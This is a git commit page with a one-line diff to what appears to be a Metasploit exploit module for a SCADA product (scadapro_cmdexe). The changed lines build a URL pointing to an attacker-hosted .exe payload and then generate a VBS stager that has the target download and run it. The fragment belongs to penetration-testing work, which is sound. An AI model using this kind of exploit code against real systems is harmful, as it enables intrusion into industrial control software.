Fix scadapro_cmdexe datastore

bug/bundler_fix
William Vu 2015-02-05 02:02:52 -06:00
parent a12d1244b9
commit b43522a2b8
No known key found for this signature in database
GPG Key ID: 68BD00CE25866743
1 changed files with 1 additions and 1 deletions

View File

@ -103,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Remote
end end
payload_src = lhost payload_src = lhost
payload_src << ":" << datastore['SRVPORT'] << datastore['URIPATH'] << @payload_name << ".exe" payload_src << ":#{datastore['SRVPORT']}#{datastore['URIPATH']}#{@payload_name}.exe"
stager_name = rand_text_alpha(6) + ".vbs" stager_name = rand_text_alpha(6) + ".vbs"
stager = build_vbs(payload_src, stager_name) stager = build_vbs(payload_src, stager_name)